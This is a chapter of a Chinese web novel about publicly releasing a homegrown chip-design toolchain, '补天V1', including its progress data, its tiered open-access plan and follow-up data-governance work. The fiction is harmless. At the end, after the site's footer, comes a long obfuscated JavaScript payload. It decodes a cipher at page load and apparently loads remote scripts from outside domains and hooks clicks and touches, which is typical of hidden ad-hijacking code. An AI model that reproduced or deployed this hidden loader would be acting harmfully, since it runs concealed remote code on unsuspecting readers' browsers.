第434章 设计自治工具V1发布
章宸把补天V1的发布日定在了追光产线合规验收报告送达日内瓦的第五天。这个时间节点的选择没有巧合——合规验收证明了制造端的透明化,补天V1要证明的是设计工具链的透明化,两条线咬合在一起,才能在联合检测验证工作组那里构成一个完整的「可验证技术体系」闭环。
发布地点仍然是合城产学研融合中心的多功能厅。方敏把场地布置得比前两次演示更简洁——没有巨幅背景板,没有产品海报,只在主席台上放了十二台断网工作站,和一个两米宽的投影屏幕。屏幕两侧各挂着一幅喷绘,左侧是补天工具链四个月前公开演示时那张「差距对比表」的高清翻印版——面积大百分之八点三丶功耗高百分之五点一丶物理验证违规八条——每一项差距旁边仍然保留着章宸当时写下的那行字:「差距,已知。追赶路径,已规划。」右侧是一幅新的对比表,数据是在发布会前七十二小时刚刚跑完的,基于同一颗青苗一号晶片的RTL代码,用补天V1从头到尾重新跑了一遍全流程。
新的对比表上只有四行数据。版图面积:补天V1比北洲EDA大百分之三点七——从四个月前的百分之八点三压缩了四点六个百分点。功耗:补天V1比北洲EDA高百分之二点八——从五点一压缩了二点三个百分点。时序裕量:补天V1比北洲EDA少零点零四纳秒——从零点一二纳秒压缩了零点零八纳秒。物理验证违规:补天V1一条——从八条压缩了七条,剩下的一条是天线效应检查精度不足导致的虚假违规,根因与四个月前完全一致,标注为「待解决」。
章宸站在两幅对比表之间,开场白只有三句话:「四个月前在这里,我展示了一张差距清单,上面写着我们和北洲EDA之间的差距有多大。今天在这里,我展示第二张差距清单,上面写着我们和北洲EDA之间的差距缩小了多少。两张清单挂在同一面墙上,不是为了庆祝,是为了让所有人看清楚——追赶路径不是一句空话,每一步都踩在具体的数字上。」
他按下演示启动键,十二台断网工作站同时亮起。补天V1的架构和四个月前的原型版本已经完全不同。逻辑综合模块的引擎内核被重写了一半——补天高校团队中一所中部工科大学的编译优化实验室贡献了一个基于机器学习的标准单元库特徵化预训练模型,将逻辑综合阶段的面积优化精度提升了将近四个百分点。这个模型的训练数据不是来自任何商业EDA工具的逆向工程,而是从公开发表的学术基准电路和追光产线实际流片数据中提取的标准单元延迟与功耗特徵。章宸在演示中特意强调了这个细节:「训练数据的来源全部可以公开追溯——学术基准电路是公开发表的,流片数据是我们自己产线跑出来的。这条技术路线不依赖任何第三方工具的闭源资料库。」
布局布线模块的改进更直观。张京京在演示中展示了补天V1的多线程并行绕线引擎——这是四个月前被列为三大根因之一的那个「单线程串行执行」问题的解决方案。新引擎将绕线任务分解为可以独立并行执行的子区域,在合城本地伺服器集群的三十二核处理器上同时跑十六条线程,绕线速度比四个月前快了将近三倍,版图面积膨胀率从百分之四下降到了百分之一点二。她在演示屏幕上调出了并行绕线的实时任务分配图,十六条线程的颜色在版图平面上各自推进,边界处的走线衔接通过一个共享的约束缓存层来同步,不需要线程间互相等待。「这个并行架构的设计思路是受到了天权6号多时钟域方案中影子寄存器组异步交换机制的启发,」张京京说,「物理设计中的并行问题和晶片设计中的时钟同步问题,本质上是在解决同一个工程矛盾——如何在保持局部自治的同时保证全局一致。」
时序分析模块的改进是补天V1中最难啃的一块骨头。补天高校团队中一所东部工科大学的集成电路可靠性实验室贡献了一个基于有限元三维电场求解器的寄生参数提取模块,替换了四个月前那个基于二维电场近似的简化公式。新求解器的计算量比简化公式大了两个数量级,但精度已经逼近了北洲EDA的水平。四个月前那百分之二的虚假时序违例在这次测试中全部消失——剩下的那一条物理验证违规是天线效应检查的问题,与时序分析无关。章宸在演示到这一项时停顿了一下,然后说了一段让台下来宾都安静下来的话:「虚假违例归零,意味着设计团队不再需要花额外的工程时间去逐条排查和手动标注时序例外。四个月前我说过,工具成熟度的真实瓶颈不是能不能跑通,而是跑完之后还要花多少人工去清理工具留下的问题。今天虚假违例归零,就是补天V1从『能跑通』迈向『能干活』的标志。」
最后一个演示环节是补天V1的新增功能——设计规则自动校准。这是一个在四个月前还不存在的模块。它的核心功能是将代工厂提供的设计规则手册中的数百条工艺约束自动转化为补天工具链内部的约束文件,并且在转换过程中自动识别规则手册中的「推荐值」和「强制值」之间的差异——这个问题正是四个月前导致那两条真实物理验证违例的根因。补天高校团队中一位研究半导体工艺设计套件多年的教授为这个模块贡献了一套基于规则语义解析的自动分类算法,将代工厂规则手册中那些标注模糊的「推荐值」自动升级为更保守的约束条件,确保补天工具链生成的版图数据在代工厂的工艺窗口内留有足够的安全裕量。
章宸在演示结束后关掉投影,转向台下的观摩者。这次的观摩者构成和四个月前有了微妙的变化——除了补天计划八个高校团队的代表丶造芯学院的学员和恒芯集成的技术团队之外,多了三位来自国内一家大型集成电路设计企业的技术负责人。这家企业不在未来科技的产业链上下游,而是一家独立的设计公司,产品线与未来科技没有直接交集。他们是通过星环科研奖励机制学术委员会的渠道听说补天V1的发布消息后,主动申请来观摩的。
「补天V1从今天起正式向国内集成电路设计行业开放使用。」章宸说这句话时语气平静,但台下那三位设计企业的技术负责人同时抬起了头。「开放方式分三个层级。第一层级——基础层:任何国内注册的集成电路设计企业,都可以免费下载补天V1的逻辑综合和时序分析基础模块,用于教学丶培训和产品预研。第二层级——协作层:愿意向补天工具链社区反馈使用数据丶缺陷报告和改进建议的企业,可以申请获得补天V1的完整功能许可,包括布局布线丶物理验证和设计规则自动校准模块。第三层级——共建层:愿意将自身积累的工艺设计套件特徵化数据以脱敏方式贡献给补天开源社区的合作夥伴,可以获得补天工具链的原始码访问权限和联合开发席位。」
开放分层方案是章宸和周明反覆讨论后定下的。第一层级的免费开放面向所有国内设计企业,门槛降到最低——只要企业合法注册,不需要任何审批,下载即可使用。这是为了让补天工具链的装机量在最短时间内覆盖尽可能多的设计团队,为后续的叠代收集足够广泛的使用数据。第二层级的协作层引入了一个对等交换机制——企业贡献数据,补天提供完整功能。这个设计直接回应了李明哲在日内瓦推动的「数据对等原则」,让补天工具链的生态扩展本身就成为「可验证的开放」的一个活生生的例证。第三层级的共建层则瞄准了国内几家在特定工艺领域积累了深厚经验的头部设计企业——把他们的工艺数据融入补天工具链的内核,既能提升工具链对先进工艺节点的支持能力,又能让这些企业从工具链的「用户」变成「共建方」。
那三家设计企业的技术负责人在散会后没有离开,而是围着章宸问了将近一个小时的细节问题。最核心的问题只有一个:补天V1能不能支持他们正在使用的特定工艺节点?章宸的回答很坦诚:「目前补天V1的工艺设计套件支持范围覆盖了从天权4号到青苗一号所使用的全部工艺节点。对于你们使用的其他工艺节点,补天V1的设计规则自动校准模块可以自动读入代工厂提供的规则手册并生成约束文件,但生成后的约束文件需要在真实流片数据上做校准验证。这个校准验证的周期取决于你们能提供多少历史流片数据作为校准基准。」
三家设计企业中规模最大的那家——一家在南方某市深耕电源管理晶片和数模混合晶片超过十五年的中型设计公司——的技术副总裁当场表态愿意加入协作层。他说了一句话,被章宸记在了笔记本上:「我们用北洲EDA用了十五年,工具很好用,但我们从来没有见过北洲EDA打开过一次自己的原始码。今天章总在这里把补天V1的开放分层方案讲完之后,我脑子里只有一个念头——十五年闭源工具的使用惯性,是时候打破了。」
补天V1的发布消息在当天下午通过星环科研奖励机制的学术通讯渠道和造芯学院的校友网络同时扩散了出去。到当天晚上,补天V1基础层的下载申请已经超过了两百份,其中超过三分之一来自国内高校的集成电路实验室和实训基地,另有四十多份来自中小规模的晶片设计企业。这个扩散速度超出了章宸的预期——他原本预计第一周能有一百份下载申请就不错了。林薇在中央研究院看到下载数据后,在他的终端上留了一条消息:「补天V1的装机量增长速度是天罡OS早期的三倍。设计工程师对工具链自主性的渴望,可能比消费者对作业系统自主性的渴望更强烈。」
章宸回复了一条消息,只有一句话:「因为工具链断了,他们一行代码都改不了——这个恐惧是真实的。」
发布会的录屏和补天V1的全流程日志在当天晚上由李明哲提交给了联合检测验证工作组秘书处,作为「技术安全性」维度验证材料的更新件。李明哲在提交邮件的末尾附了一句话:「补天工具链从原型到V1的叠代过程,全部保留了完整的时间戳记录和代码提交日志。四个月前公开演示中标注的每一项差距的改进路径,都可以在代码仓库中追溯到对应的具体提交。这是一套工具链从『能跑通』到『能干活』的完整进化日志——它不是一份静态的报告,而是一个动态的丶可追溯的丶持续演进的技术自治证明。」
深夜,章宸在产学研融合中心的小会议室里整理完补天V1发布当天的全部反馈记录后,打开了终端上的下一项任务文档。文档的标题是周明在两天前发给他的:「数据治理细则与审计落地——天枢OS数据治理框架从内部规范升级为可外部审计的制度体系。」
文档的第一页是周明写的一段引言:「补天V1证明了设计工具链的透明化,追光产线合规验收证明了制造端的透明化,天罡Edge医疗版和兼容标准第二版证明了生态端的透明化。三个维度的透明化各自都有了一套完整的制度和工具支撑,但它们运行在各自的数据治理规则之上——有的规则是技术团队自己定的,有的是法务团队根据合规要求制定的,有的是为了应付外部审计临时补上的。如果数据治理规则本身不统一丶不透明丶不可审计,那么建立在数据之上的所有『可验证性』主张都会在根基上晃动。」
章宸在文档末尾写了一行回覆:「补天V1发布完成。数据治理细则,明天启动。」
他保存文档,关掉终端,走到窗前。合城产业园的夜色中,追光四期的航标灯依旧亮着,追光五期的打桩机还在不知疲倦地撞击着地基。而在这片灯海的东北方向,恒芯集成封装试产线的厂房轮廓在夜色中若隐若现,那里的矽通孔间距正在向六微米逼近。每一盏灯都是一个正在被数据记录丶被日志追溯丶被规则约束的技术节点。而当这些节点的数量增长到一定程度时,它们需要的就不再只是一套数据采集系统,而是一部让所有节点都能互相对话丶互相验证丶互相约束的数据宪法。
他拉上窗帘,在日程表上圈出了明天的第一个会议议题:「数据治理细则——定义天枢OS数据治理框架中数据采集丶清洗丶标注丶存储丶访问丶审计六项核心流程的标准化操作规范。目标:四周内完成草案,作为天罡生态大会后的第一项制度发布。」
次日清晨,周明从合城法务团队抽调的两名数据合规律师已经在中央研究院的会议室里等着了。与他们一起坐在会议桌旁的,还有郑工代表天枢OS技术团队丶秦教授代表神农AI临床验证团队丶以及方程从新加坡服务中心派来的一名数据治理架构师。这些人被周明召集到一起的原因只有一个——天枢OS的数据治理框架已经长成了一棵枝繁叶茂的大树,现在是时候给它修枝定形了。
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();